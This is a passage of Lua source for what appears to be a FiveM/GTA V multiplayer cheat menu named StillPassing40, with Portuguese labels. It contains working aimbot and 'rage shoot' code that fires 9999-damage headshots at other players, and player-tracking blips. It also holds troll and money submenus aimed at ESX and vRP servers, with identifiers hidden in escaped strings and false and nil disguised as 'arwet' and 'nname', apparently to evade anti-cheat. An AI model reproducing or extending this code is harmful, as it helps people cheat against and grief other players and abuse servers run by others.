if NetworkIsPlayerActive(plist[i]) then
ped = GetPlayerPed(plist[i])
pblips[i] = GetBlipFromEntity(ped)
if not DoesBlipExist(pblips[i]) then
pblips[i] = AddBlipForEntity(ped)
SetBlipSprite(pblips[i], 1)
Citizen.InvokeNative(0x5FBCA48327B914DF, pblips[i],
true)
else
veh = GetVehiclePedIsIn(ped, arwet)
blipSprite = GetBlipSprite(pblips[i])
if not GetEntityHealth(ped) then
if blipSprite ~= 274 then
SetBlipSprite(pblips[i], 274)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif veh then
vehClass = GetVehicleClass(veh)
vehModel = GetEntityModel(veh)
if vehClass == 15 then
if blipSprite ~= 422 then
SetBlipSprite(pblips[i], 422)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif vehClass == 16 then
if vehModel == GetHashKey("besra") or vehModel
== GetHashKey("hydra")
or vehModel == GetHashKey("lazer") then --
jet
if blipSprite ~= 424 then
SetBlipSprite(pblips[i], 424)

Citizen.InvokeNative(0x5FBCA48327B914DF, pblips[i], arwet)


end
elseif blipSprite ~= 423 then
SetBlipSprite(pblips[i], 423)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif vehClass == 14 then
if blipSprite ~= 427 then
SetBlipSprite(pblips[i], 427)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif vehModel == GetHashKey("insurgent") or
vehModel == GetHashKey("insurgent2")
or vehModel == GetHashKey("limo2") then
if blipSprite ~= 426 then
SetBlipSprite(pblips[i], 426)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif vehModel == GetHashKey("rhino") then
if blipSprite ~= 421 then
SetBlipSprite(pblips[i], 421)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], arwet)
end
elseif blipSprite ~= 1 then
SetBlipSprite(pblips[i], 1)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], true)
end

passengers = GetVehicleNumberOfPassengers(veh)
if passengers then
if not IsVehicleSeatFree(veh, -1) then
passengers = passengers + 1
end
ShowNumberOnBlip(pblips[i], passengers)
else
HideNumberOnBlip(pblips[i])
end
else

HideNumberOnBlip(pblips[i])
if blipSprite ~= 1 then
SetBlipSprite(pblips[i], 1)
Citizen.InvokeNative(0x5FBCA48327B914DF,
pblips[i], true)
end
end
SetBlipRotation(pblips[i],
math.ceil(GetEntityHeading(veh)))
SetBlipNameToPlayerName(pblips[i], plist[i])
SetBlipScale(pblips[i], 0.85)

if IsPauseMenuActive() then
SetBlipAlpha(pblips[i], 255)
else
x1, y1 =
table.unpack(GetEntityCoords(PlayerPedId(), true))
x2, y2 =
table.unpack(GetEntityCoords(GetPlayerPed(plist[i]), true))
distance = (math.floor(math.abs(math.sqrt((x1 - x2)
* (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1)) + 900
if distance < 0 then
distance = 0
elseif distance > 255 then
distance = 255
end
SetBlipAlpha(pblips[i], distance)
end
end
end
end
Wait(0)
end
end)
end
end

local function ShootAt(target, bone)


local boneTarget = GetPedBoneCoords(target, GetEntityBoneIndexByName(target,
bone), 0.0, 0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(), boneTarget, true)
end

local function ShootAt2(target, bone, damage)


local boneTarget = GetPedBoneCoords(target, GetEntityBoneIndexByName(target,
bone), 0.0, 0.0, 0.0)
local _, weapon = GetCurrentPedWeapon(PlayerPedId())
ShootSingleBulletBetweenCoords(AddVectors(boneTarget, vector3(0, 0, 0.1)),
boneTarget, damage, true, weapon, PlayerPedId(), true, true, 1000.0)
end

local function ShootAimbot(k)


if IsEntityOnScreen(k) and HasEntityClearLosToEntityInFront(PlayerPedId(), k)
and
not IsPedDeadOrDying(k) and not IsPedInVehicle(k, GetVehiclePedIsIn(k),
arwet) and
IsDisabledControlPressed(0, Keys["MOUSE1"]) and
IsPlayerFreeAiming(PlayerId()) then
local x, y, z = table.unpack(GetEntityCoords(k))
local _, _x, _y = World3dToScreen2d(x, y, z)
if _x > 0.25 and _x < 0.75 and _y > 0.25 and _y < 0.75 then
local _, weapon = GetCurrentPedWeapon(PlayerPedId())
ShootAt2(k, AimbotBone, GetWeaponDamage(weapon, 1))
end
end
end

local function RageShoot(target)


if not IsPedDeadOrDying(target) then
local boneTarget = GetPedBoneCoords(target,
GetEntityBoneIndexByName(target, "SKEL_HEAD"), 0.0, 0.0, 0.0)
local _, weapon = GetCurrentPedWeapon(PlayerPedId())
ShootSingleBulletBetweenCoords(AddVectors(boneTarget, vector3(0, 0, 0.1)),
boneTarget, 9999, true, weapon, PlayerPedId(), arwet, arwet, 1000.0)
ShootSingleBulletBetweenCoords(AddVectors(boneTarget, vector3(0, 0.1, 0)),
boneTarget, 9999, true, weapon, PlayerPedId(), arwet, arwet, 1000.0)
ShootSingleBulletBetweenCoords(AddVectors(boneTarget, vector3(0.1, 0, 0)),
boneTarget, 9999, true, weapon, PlayerPedId(), arwet, arwet, 1000.0)
end
end

local function NameToBone(name)


if name == "Head" then
return "SKEL_Head"
elseif name == "Chest" then
return "SKEL_Spine2"
elseif name == "Left Arm" then
return "SKEL_L_UpperArm"
elseif name == "Right Arm" then
return "SKEL_R_UpperArm"
elseif name == "Left Leg" then
return "SKEL_L_Thigh"
elseif name == "Right Leg" then
return "SKEL_R_Thigh"
elseif name == "Dick" then
return "SKEL_Pelvis"
else
return "SKEL_ROOT"
end
end

local function SpawnVeh(model, PlaceSelf, SpawnEngineOn)


RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
local coords = GetEntityCoords(PlayerPedId())
local xf = GetEntityForwardX(PlayerPedId())
local yf = GetEntityForwardY(PlayerPedId())
local heading = GetEntityHeading(PlayerPedId())
local veh = CreateVehicle(GetHashKey(model), coords.x + xf * 5, coords.y +
yf * 5, coords.z, heading, 1, 1)
if PlaceSelf then SetPedIntoVehicle(PlayerPedId(), veh, -1) end
if SpawnEngineOn then SetVehicleEngineOn(veh, 1, 1) end
return veh
else ShowInfo("~p~Model not recognized (Try Again)") end
end

local function SpawnPlane(model, PlaceSelf, SpawnInAir)


RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
local coords = GetEntityCoords(PlayerPedId())
local xf = GetEntityForwardX(PlayerPedId())
local yf = GetEntityForwardY(PlayerPedId())
local heading = GetEntityHeading(PlayerPedId())
local veh = nname
if SpawnInAir then
veh = CreateVehicle(GetHashKey(model), coords.x + xf * 20, coords.y +
yf * 20, coords.z + 500, heading, 1, 1)
else
veh = CreateVehicle(GetHashKey(model), coords.x + xf * 5, coords.y + yf
* 5, coords.z, heading, 1, 1)
end
if PlaceSelf then SetPedIntoVehicle(PlayerPedId(), veh, -1) end
else ShowInfo("~p~Model not recognized (Try Again)") end
end

local function GetCurrentOutfit(target)


local ped = GetPlayerPed(target)
outfit = {}

outfit.hat = GetPedPropIndex(ped, 0)
outfit.hat_texture = GetPedPropTextureIndex(ped, 0)

outfit.glasses = GetPedPropIndex(ped, 1)
outfit.glasses_texture = GetPedPropTextureIndex(ped, 1)

outfit.ear = GetPedPropIndex(ped, 2)
outfit.ear_texture = GetPedPropTextureIndex(ped, 2)

outfit.watch = GetPedPropIndex(ped, 6)
outfit.watch_texture = GetPedPropTextureIndex(ped, 6)

outfit.wrist = GetPedPropIndex(ped, 7)
outfit.wrist_texture = GetPedPropTextureIndex(ped, 7)

outfit.head_drawable = GetPedDrawableVariation(ped, 0)
outfit.head_palette = GetPedPaletteVariation(ped, 0)
outfit.head_texture = GetPedTextureVariation(ped, 0)

outfit.beard_drawable = GetPedDrawableVariation(ped, 1)
outfit.beard_palette = GetPedPaletteVariation(ped, 1)
outfit.beard_texture = GetPedTextureVariation(ped, 1)

outfit.hair_drawable = GetPedDrawableVariation(ped, 2)
outfit.hair_palette = GetPedPaletteVariation(ped, 2)
outfit.hair_texture = GetPedTextureVariation(ped, 2)

outfit.torso_drawable = GetPedDrawableVariation(ped, 3)
outfit.torso_palette = GetPedPaletteVariation(ped, 3)
outfit.torso_texture = GetPedTextureVariation(ped, 3)
outfit.legs_drawable = GetPedDrawableVariation(ped, 4)
outfit.legs_palette = GetPedPaletteVariation(ped, 4)
outfit.legs_texture = GetPedTextureVariation(ped, 4)

outfit.hands_drawable = GetPedDrawableVariation(ped, 5)
outfit.hands_palette = GetPedPaletteVariation(ped, 5)
outfit.hands_texture = GetPedTextureVariation(ped, 5)

outfit.foot_drawable = GetPedDrawableVariation(ped, 6)
outfit.foot_palette = GetPedPaletteVariation(ped, 6)
outfit.foot_texture = GetPedTextureVariation(ped, 6)

outfit.acc1_drawable = GetPedDrawableVariation(ped, 7)
outfit.acc1_palette = GetPedPaletteVariation(ped, 7)
outfit.acc1_texture = GetPedTextureVariation(ped, 7)

outfit.acc2_drawable = GetPedDrawableVariation(ped, 8)
outfit.acc2_palette = GetPedPaletteVariation(ped, 8)
outfit.acc2_texture = GetPedTextureVariation(ped, 8)

outfit.acc3_drawable = GetPedDrawableVariation(ped, 9)
outfit.acc3_palette = GetPedPaletteVariation(ped, 9)
outfit.acc3_texture = GetPedTextureVariation(ped, 9)

outfit.mask_drawable = GetPedDrawableVariation(ped, 10)


outfit.mask_palette = GetPedPaletteVariation(ped, 10)
outfit.mask_texture = GetPedTextureVariation(ped, 10)

outfit.aux_drawable = GetPedDrawableVariation(ped, 11)


outfit.aux_palette = GetPedPaletteVariation(ped, 11)
outfit.aux_texture = GetPedTextureVariation(ped, 11)

return outfit
end

local function SetCurrentOutfit(outfit)


local ped = PlayerPedId()

SetPedPropIndex(ped, 0, outfit.hat, outfit.hat_texture, 1)


SetPedPropIndex(ped, 1, outfit.glasses, outfit.glasses_texture, 1)
SetPedPropIndex(ped, 2, outfit.ear, outfit.ear_texture, 1)
SetPedPropIndex(ped, 6, outfit.watch, outfit.watch_texture, 1)
SetPedPropIndex(ped, 7, outfit.wrist, outfit.wrist_texture, 1)

SetPedComponentVariation(ped, 0, outfit.head_drawable, outfit.head_texture,


outfit.head_palette)
SetPedComponentVariation(ped, 1, outfit.beard_drawable, outfit.beard_texture,
outfit.beard_palette)
SetPedComponentVariation(ped, 2, outfit.hair_drawable, outfit.hair_texture,
outfit.hair_palette)
SetPedComponentVariation(ped, 3, outfit.torso_drawable, outfit.torso_texture,
outfit.torso_palette)
SetPedComponentVariation(ped, 4, outfit.legs_drawable, outfit.legs_texture,
outfit.legs_palette)
SetPedComponentVariation(ped, 5, outfit.hands_drawable, outfit.hands_texture,
outfit.hands_palette)
SetPedComponentVariation(ped, 6, outfit.foot_drawable, outfit.foot_texture,
outfit.foot_palette)
SetPedComponentVariation(ped, 7, outfit.acc1_drawable, outfit.acc1_texture,
outfit.acc1_palette)
SetPedComponentVariation(ped, 8, outfit.acc2_drawable, outfit.acc2_texture,
outfit.acc2_palette)
SetPedComponentVariation(ped, 9, outfit.acc3_drawable, outfit.acc3_texture,
outfit.acc3_palette)
SetPedComponentVariation(ped, 10, outfit.mask_drawable, outfit.mask_texture,
outfit.mask_palette)
SetPedComponentVariation(ped, 11, outfit.aux_drawable, outfit.aux_texture,
outfit.aux_palette)
end

local function GetResources()


local resources = {}
for i = 1, GetNumResources() do
resources[i] = GetResourceByFindIndex(i)
end
return resources
end

function IsResourceInstalled(name)
local resources = GetResources()
for i = 1, #resources do
if resources[i] == name then
return true
else
return arwet
end
end
end

function StillPassing40.SetFont(id, font)


buttonFont = font
menus[id].titleFont = font
end

function StillPassing40.SetMenuFocusBackgroundColor(id, r, g, b, a)
setMenuProperty(id, "menuFocusBackgroundColor", {["r"] = r, ["g"] = g, ["b"] =
b, ["a"] = a or menus[id].menuFocusBackgroundColor.a})
end

function StillPassing40.SetMaxOptionCount(id, count)


setMenuProperty(id, 'maxOptionCount', count)
end

function StillPassing40.PopupWindow(x, y, title)

end

function StillPassing40.SetTheme(id, theme)


if theme == "basic" then
StillPassing40.SetMenuBackgroundColor(id, 81, 231, 251, 125)
StillPassing40.SetTitleBackgroundColor(id, 92, 212, 249, 80)
StillPassing40.SetTitleColor(id, 92, 212, 249, 230)
StillPassing40.SetMenuSubTextColor(id, 255, 255, 255, 230)
StillPassing40.SetMenuFocusColor(id, 40, 40, 40, 230)
StillPassing40.SetFont(id, 7)
StillPassing40.SetMenuX(id, .75)-- [0.0..1.0] top left corner
StillPassing40.SetMenuY(id, .1)-- [0.0..1.0] top
StillPassing40.SetMenuWidth(id, 0.23)-- 0.23
StillPassing40.SetMaxOptionCount(id, 12)-- 10

titleHeight = 0.11 --0.11


titleXOffset = 0.5 -- 0.5
titleYOffset = 0.03 --0.03
titleSpacing = 2 -- 2
buttonHeight = 0.038 --0.038
buttonScale = 0.365 --0.365
buttonTextXOffset = 0.005 --0.005
buttonTextYOffset = 0.005 --0.005

themecolor = '~b~'
themearrow = "+"
elseif theme == "dark" then
StillPassing40.SetMenuBackgroundColor(id, 0, 153, 255, 255)
StillPassing40.SetTitleBackgroundColor(id, 0, 153, 255, 255)
StillPassing40.SetTitleColor(id, 0, 153, 255, 230)
StillPassing40.SetMenuSubTextColor(id, 255, 255, 255, 230)
StillPassing40.SetMenuFocusColor(id, 40, 40, 40, 255)
StillPassing40.SetFont(id, 1)
StillPassing40.SetMenuX(id, .75)
StillPassing40.SetMenuY(id, .1)
StillPassing40.SetMenuWidth(id, 0.23)-- 0.23
StillPassing40.SetMaxOptionCount(id, 12)-- 10

titleHeight = 0.11 --0.11


titleXOffset = 0.5 -- 0.5
titleYOffset = 0.03 --0.03
titleSpacing = 2 -- 2
buttonHeight = 0.038 --0.038
buttonScale = 0.365 --0.365
buttonTextXOffset = 0.005 --0.005
buttonTextYOffset = 0.005 --0.005

themecolor = '~y~'
themearrow = "~y~>"
elseif theme == "StillPassing40" then
StillPassing40.SetMenuBackgroundColor(id, 50, 50, 160, 85)
StillPassing40.SetTitleBackgroundColor(id, 92, 255, 0, 255)
StillPassing40.SetTitleColor(id, 92, 212, 249, 170)
StillPassing40.SetMenuSubTextColor(id, 255, 255, 255, 230)
StillPassing40.SetFont(id, 0)
StillPassing40.SetMenuX(id, .75)
StillPassing40.SetMenuY(id, .1)
StillPassing40.SetMenuWidth(id, 0.23)-- 0.23
StillPassing40.SetMaxOptionCount(id, 12)-- 10

titleHeight = 0.11 --0.11


titleXOffset = 0.5 -- 0.5
titleYOffset = 0.03 --0.03
titleSpacing = 2 -- 2
buttonHeight = 0.038 --0.038
buttonScale = 0.365 --0.365
buttonTextXOffset = 0.005 --0.005
buttonTextYOffset = 0.005 --0.005

themecolor = '~u~'
themearrow = "~y~>"
titleHeight = 0.11 --0.11
titleXOffset = 0.5 -- 0.5
titleYOffset = 0.03 --0.03
titleSpacing = 2 -- 2
buttonHeight = 0.038 --0.038
buttonScale = 0.365 --0.365
buttonTextXOffset = 0.005 --0.005
buttonTextYOffset = 0.005 --0.005

themecolor = '~y~'
themearrow = "~y~>"
elseif theme == "infamous" then
StillPassing40.SetMenuBackgroundColor(id, 38, 38, 38, 255)
StillPassing40.SetTitleBackgroundColor(id, 255, 255, 0, 255)
StillPassing40.SetTitleColor(id, 255, 255, 0, 255)
StillPassing40.SetMenuSubTextColor(id, 255, 255, 0, 255)
StillPassing40.SetMenuFocusBackgroundColor(id, 255, 255, 0, 255)
StillPassing40.SetFont(id, 4)
StillPassing40.SetMenuX(id, .725)
StillPassing40.SetMenuY(id, .1)
StillPassing40.SetMenuWidth(id, 0.25)-- 0.23
StillPassing40.SetMaxOptionCount(id, 13)-- 10

titleHeight = 0.07 --0.11


titleXOffset = 0.2 -- 0.5
titleYOffset = 0.005 --0.03
titleScale = 0.7 -- 1.0
titleSpacing = 1.5
buttonHeight = 0.033 --0.038
buttonScale = 0.360 --0.365
buttonTextXOffset = 0.003 --0.005
buttonTextYOffset = 0.0025 --0.005

themecolor = "~y~"
themearrow = "~y~>"
end
end

function StillPassing40.InitializeTheme()
for i = 1, #menulist do
StillPassing40.SetTheme(menulist[i], theme)
end
end

-- ComboBox w/ new index behaviour (does not wrap around)


function StillPassing40.ComboBox2(text, items, currentIndex, selectedIndex,
callback)
local itemsCount = #items
local selectedItem = items[currentIndex]
local isCurrent = menus[currentMenu].currentOption == (optionCount + 1)

if itemsCount > 1 and isCurrent then


selectedItem = tostring(selectedItem)
end

if StillPassing40.Button(text, selectedItem) then


selectedIndex = currentIndex
callback(currentIndex, selectedIndex)
return true
elseif isCurrent then
if currentKey == keys.left then
if currentIndex > 1 then currentIndex = currentIndex - 1
elseif currentIndex == 1 then currentIndex = 1 end
elseif currentKey == keys.right then
if currentIndex < itemsCount then currentIndex = currentIndex + 1
elseif currentIndex == itemsCount then currentIndex = itemsCount end
end
else
currentIndex = selectedIndex
end

callback(currentIndex, selectedIndex)
return arwet
end

-- Button with a slider


function StillPassing40.ComboBoxSlider(text, items, currentIndex, selectedIndex,
callback)
local itemsCount = #items
local selectedItem = items[currentIndex]
local isCurrent = menus[currentMenu].currentOption == (optionCount + 1)

if itemsCount > 1 and isCurrent then


selectedItem = tostring(selectedItem)
end

if StillPassing40.Button2(text, items, itemsCount, currentIndex) then


selectedIndex = currentIndex
callback(currentIndex, selectedIndex)
return true
elseif isCurrent then
if currentKey == keys.left then
if currentIndex > 1 then currentIndex = currentIndex - 1
elseif currentIndex == 1 then currentIndex = 1 end
elseif currentKey == keys.right then
if currentIndex < itemsCount then currentIndex = currentIndex + 1
elseif currentIndex == itemsCount then currentIndex = itemsCount end
end
else
currentIndex = selectedIndex
end
callback(currentIndex, selectedIndex)
return arwet
end

local function drawButton2(text, items, itemsCount, currentIndex)


local x = menus[currentMenu].x + menus[currentMenu].width / 2
local multiplier = nname

if menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount and


optionCount <= menus[currentMenu].maxOptionCount then
multiplier = optionCount
elseif optionCount > menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount and optionCount <=
menus[currentMenu].currentOption then
multiplier = optionCount - (menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount)
end

if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
(buttonHeight * multiplier) - buttonHeight / 2
local backgroundColor = nname
local textColor = nname
local subTextColor = nname
local shadow = arwet

if menus[currentMenu].currentOption == optionCount then


backgroundColor = menus[currentMenu].menuFocusBackgroundColor
textColor = menus[currentMenu].menuFocusTextColor
subTextColor = menus[currentMenu].menuFocusTextColor
else
backgroundColor = menus[currentMenu].menuBackgroundColor
textColor = menus[currentMenu].menuTextColor
subTextColor = menus[currentMenu].menuSubTextColor
shadow = true
end

local sliderWidth = ((menus[currentMenu].width / 3) / itemsCount)


local subtractionToX = ((sliderWidth * (currentIndex + 1)) - (sliderWidth *
currentIndex)) / 2

local XOffset = 0.1 -- Default value in case of any error?


local stabilizer = 1

-- Draw order from top to bottom


if itemsCount >= 40 then
stabilizer = 1.005
end

drawRect(x, y, menus[currentMenu].width, buttonHeight, backgroundColor) --


Button Rectangle -2.15
drawRect(((menus[currentMenu].x + 0.1075) + (subtractionToX *
itemsCount)) / stabilizer, y, sliderWidth * (itemsCount - 1), buttonHeight / 2, {r
= 110, g = 110, b = 110, a = 150}) -- Slide Outline
drawRect(((menus[currentMenu].x + 0.1075) + (subtractionToX *
currentIndex)) / stabilizer, y, sliderWidth * (currentIndex - 1), buttonHeight / 2,
{r = 200, g = 200, b = 200, a = 140}) -- Slide
drawText(text, menus[currentMenu].x + buttonTextXOffset, y -
(buttonHeight / 2) + buttonTextYOffset, buttonFont, textColor, buttonScale, arwet,
shadow) -- Text

--Ugly Code, I'll refactor it later


local CurrentItem = tostring(items[currentIndex])
if string.len(CurrentItem) == 1 then XOffset = 0.1050
elseif string.len(CurrentItem) == 2 then XOffset = 0.1025
elseif string.len(CurrentItem) == 3 then XOffset = 0.10015
elseif string.len(CurrentItem) == 4 then XOffset = 0.1085
elseif string.len(CurrentItem) == 5 then XOffset = 0.1070
elseif string.len(CurrentItem) >= 6 then XOffset = 0.1055
end
-- roundNum seems kinda useless since I'm adjusting every position manually
based on the lenght of the string. As stated above, I'll refactor this part later.
-- (sliderWidth * roundNum((itemsCount / 2), 3)
drawText(items[currentIndex], ((menus[currentMenu].x + XOffset) + 0.04) /
stabilizer, y - (buttonHeight / 2.15) + buttonTextYOffset, buttonFont, {r = 255, g
= 255, b = 255, a = 255}, buttonScale, arwet, shadow) -- Current Item Text
end
end

-- Getting the center of an odd number of itemsCount (breaks on negative numbers)


function roundNum(num, numDecimalPlaces)
local mult = 10^(numDecimalPlaces or 0)
return math.floor(num * mult + 0.5) / mult
end

function StillPassing40.Button2(text, items, itemsCount, currentIndex)


local buttonText = text

if menus[currentMenu] then
optionCount = optionCount + 1

local isCurrent = menus[currentMenu].currentOption == optionCount

drawButton2(text, items, itemsCount, currentIndex)

if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText..' button pressed')
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end

return arwet
else
debugPrint('Failed to create '..buttonText..' button:
'..tostring(currentMenu)..' menu doesn\'t exist')

return arwet
end
end

-- Texture Handling
Citizen.CreateThread(function()
local p = 1
while true do
if theme == "StillPassing40" then -- static effect for StillPassing40 theme
- https://github.com/esc0rtd3w/illicit-sprx/blob/master/main/illicit/textures.h
if p == 5 then p = 1 else p = p + 1 end
for i = 1, #menulist do
if StillPassing40.IsMenuOpened(menulist[i]) then
StillPassing40.SetTitleBackgroundSprite(menulist[i], 'digitaloverlay', 'static' ..
p) end
end
else -- Base textures
for i = 1, #menulist do
StillPassing40.SetTitleBackgroundSprite(menulist[i], 'mpinventory', 'darts') end
end
Wait(100)
end
end)

Resources = GetResources()

ResourcesToCheck = {
-- ESX
"es_extended", "esx_dmvschool", "esx_policejob", "",
-- VRP
"vrp", "vrp_trucker", "vrp_TruckerJob"
}

Citizen.CreateThread(function()
if mpMessage then ShowMPMessage(startMessage, subMessage, 50) else
ShowInfo(startMessage .. " " .. subMessage) end

-- COMBO BOXES

local currThemeIndex = 1
local selThemeIndex = 1

local currFaceIndex = GetPedDrawableVariation(PlayerPedId(), 0) + 1


local selFaceIndex = GetPedDrawableVariation(PlayerPedId(), 0) + 1

local currFtextureIndex = GetPedTextureVariation(PlayerPedId(), 0) + 1


local selFtextureIndex = GetPedTextureVariation(PlayerPedId(), 0) + 1

local currHairIndex = GetPedDrawableVariation(PlayerPedId(), 2) + 1


local selHairIndex = GetPedDrawableVariation(PlayerPedId(), 2) + 1

local currHairTextureIndex = GetPedTextureVariation(PlayerPedId(), 2) + 1


local selHairTextureIndex = GetPedTextureVariation(PlayerPedId(), 2) + 1

local currMaskIndex = GetPedDrawableVariation(PlayerPedId(), 1) + 1


local selMaskIndex = GetPedDrawableVariation(PlayerPedId(), 1) + 1

local currHatIndex = GetPedPropIndex(PlayerPedId(), 0) + 1


local selHatIndex = GetPedPropIndex(PlayerPedId(), 0) + 1

if currHatIndex == 0 or currHatIndex == 1 then -- No Hat


currHatIndex = 9
selHatIndex = 9
end

local currHatTextureIndex = GetPedPropTextureIndex(PlayerPedId(), 0)


local selHatTextureIndex = GetPedPropTextureIndex(PlayerPedId(), 0)

-- Fixes the Hat starting at index 1 not displaying because its value is 0
if currHatTextureIndex == -1 or currHatTextureIndex == 0 then
currHatTextureIndex = 1
selHatTextureIndex = 1
end

local currPFuncIndex = 1
local selPFuncIndex = 1

local currVFuncIndex = 1
local selVFuncIndex = 1
local currSeatIndex = 1
local selSeatIndex = 1

local currTireIndex = 1
local selTireIndex = 1

local currNoclipSpeedIndex = 1
local selNoclipSpeedIndex = 1

local currForcefieldRadiusIndex = 1
local selForcefieldRadiusIndex = 1

local currFastRunIndex = 1
local selFastRunIndex = 1

local currFastSwimIndex = 1
local selFastSwimIndex = 1

local currObjIndex = 1
local selObjIndex = 1

local currRotationIndex = 3
local selRotationIndex = 3

local currDirectionIndex = 1
local selDirectionIndex = 1

local Outfits = {}
local currClothingIndex = 1
local selClothingIndex = 1

local currGravIndex = 3
local selGravIndex = 3

local currSpeedIndex = 1
local selSpeedIndex = 1

local currAttackTypeIndex = 1
local selAttackTypeIndex = 1

local currESPDistance = 3
local selESPDistance = 3

local currESPRefreshIndex = 1
local selESPRefreshIndex = 1

local currAimbotBoneIndex = 1
local selAimbotBoneIndex = 1

local currSaveLoadIndex1 = 1
local selSaveLoadIndex1 = 1
local currSaveLoadIndex2 = 1
local selSaveLoadIndex2 = 1
local currSaveLoadIndex3 = 1
local selSaveLoadIndex3 = 1
local currSaveLoadIndex4 = 1
local selSaveLoadIndex4 = 1
local currSaveLoadIndex5 = 1
local selSaveLoadIndex5 = 1

local currRadioIndex = 1
local selRadioIndex = 1

local currWeatherIndex = 1
local selWeatherIndex = 1

-- GLOBALS
local TrackedPlayer = nname
local SpectatedPlayer = nname
local FlingedPlayer = nname
local PossessingVeh = arwet
local pvblip = nname
local pvehicle = nname
local pvehicleText = ""
local IsPlayerHost = nname

if NetworkIsHost() then
IsPlayerHost = "~y~Yes"
else
IsPlayerHost = "~y~No"
end

local savedpos1 = nname


local savedpos2 = nname
local savedpos3 = nname
local savedpos4 = nname
local savedpos5 = nname

-- TOGGLES
local includeself = true
local Collision = true
local objVisible = true
local PlaceSelf = true
local SpawnInAir = true
local SpawnEngineOn = true

-- TABLES
SpawnedObjects = {}

-- MAIN MENU
StillPassing40.CreateMenu('StillPassing40', menuName .. '' .. version)
StillPassing40.SetSubTitle('StillPassing40', '~s~
StillPassing40')

-- MAIN MENU SUBMENUS


StillPassing40.CreateSubMenu('\112\108\97\121\101\114\10', 'StillPassing40',
'Opcoes dos Jogadores')
StillPassing40.CreateSubMenu('\115\101\108\102\10', 'StillPassing40', 'Opcoes
Pessoais')
StillPassing40.CreateSubMenu('\119\101\97\112\111\110\10', 'StillPassing40',
'Opcoes das armas')
StillPassing40.CreateSubMenu('\118\101\104\105\99\108\101\10',
'StillPassing40', 'Opcoes do Veiculo')
StillPassing40.CreateSubMenu('\119\111\114\108\100\10', 'StillPassing40',
'World Options')
StillPassing40.CreateSubMenu('\116\101\108\101\112\111\114\116\10',
'StillPassing40', 'Opcoes Visuais')
StillPassing40.CreateSubMenu('\109\105\115\99\10', 'StillPassing40', 'Dinheiro
funciona somente nas city abaixo')
StillPassing40.CreateSubMenu('policiatiki', 'StillPassing40', 'Menu De
Compras')

StillPassing40.CreateSubMenu('\108\117\97\10', 'StillPassing40', 'Lua Options')


StillPassing40.CreateSubMenu('\108\121\110\120\10', 'StillPassing40', '\
108\121\110\120\10 bro....')
-- PLAYER MENU SUBMENUS
StillPassing40.CreateSubMenu('allplayer', '\112\108\97\121\101\114\10', 'All
Players')
StillPassing40.CreateSubMenu('\
112\108\97\121\101\114\111\112\116\105\111\110\115\10', '\
112\108\97\121\101\114\10', 'Opcoes dos Jogadores')
StillPassing40.CreateSubMenu('troll', '\
112\108\97\121\101\114\111\112\116\105\111\110\115\10', 'Opcoes de Troll')
StillPassing40.CreateSubMenu('jobsplayers', '\
112\108\97\121\101\114\111\112\116\105\111\110\115\10', 'Jobs Options')
StillPassing40.CreateSubMenu('jobsplayers2', '\
112\108\97\121\101\114\111\112\116\105\111\110\115\10', 'Jobs Options')

-- WORLD MENU SUBMENUS

-- SELF MENU SUBMENUS


StillPassing40.CreateSubMenu('\97\112\112\101\97\114\97\110\99\101\10',
'StillPassing40', 'Opcoes de Models')
StillPassing40.CreateSubMenu('modifiers', '\115\101\108\102\10', 'Modifiers
Options')

-- APPEARANCE SUBMENUS
StillPassing40.CreateSubMenu('modifyskintextures', '\
97\112\112\101\97\114\97\110\99\101\10', "Modify Skin Textures")
StillPassing40.CreateSubMenu('modifyhead', 'modifyskintextures', "Available
Drawables")
StillPassing40.CreateSubMenu('skinsmodels', '\
97\112\112\101\97\114\97\110\99\101\10', "Skin Models")

-- WEAPON MENU SUBMENUS

StillPassing40.CreateSubMenu('WeaponCustomization', '\
119\101\97\112\111\110\10', 'Weapon Customization')
StillPassing40.CreateSubMenu('\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', '\
119\101\97\112\111\110\10', 'Spawnar Armas')
StillPassing40.CreateSubMenu('melee', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Melee Weapons')
StillPassing40.CreateSubMenu('pistol', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Armas Indetectaveis')
StillPassing40.CreateSubMenu('smg', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'SMGs / MGs')
StillPassing40.CreateSubMenu('shotgun', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Shotguns')
StillPassing40.CreateSubMenu('assault', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Armas Risco')
StillPassing40.CreateSubMenu('sniper', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Sniper Rifles')
StillPassing40.CreateSubMenu('thrown', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Thrown Weapons')
StillPassing40.CreateSubMenu('heavy', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Heavy Weapons')

-- VEHICLE MENU SUBMENUS


StillPassing40.CreateSubMenu('\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', '\
118\101\104\105\99\108\101\10', 'Spawnar Veiculos')
StillPassing40.CreateSubMenu('vehiclemods', '\118\101\104\105\99\108\101\10',
'Cor do Veiculo')
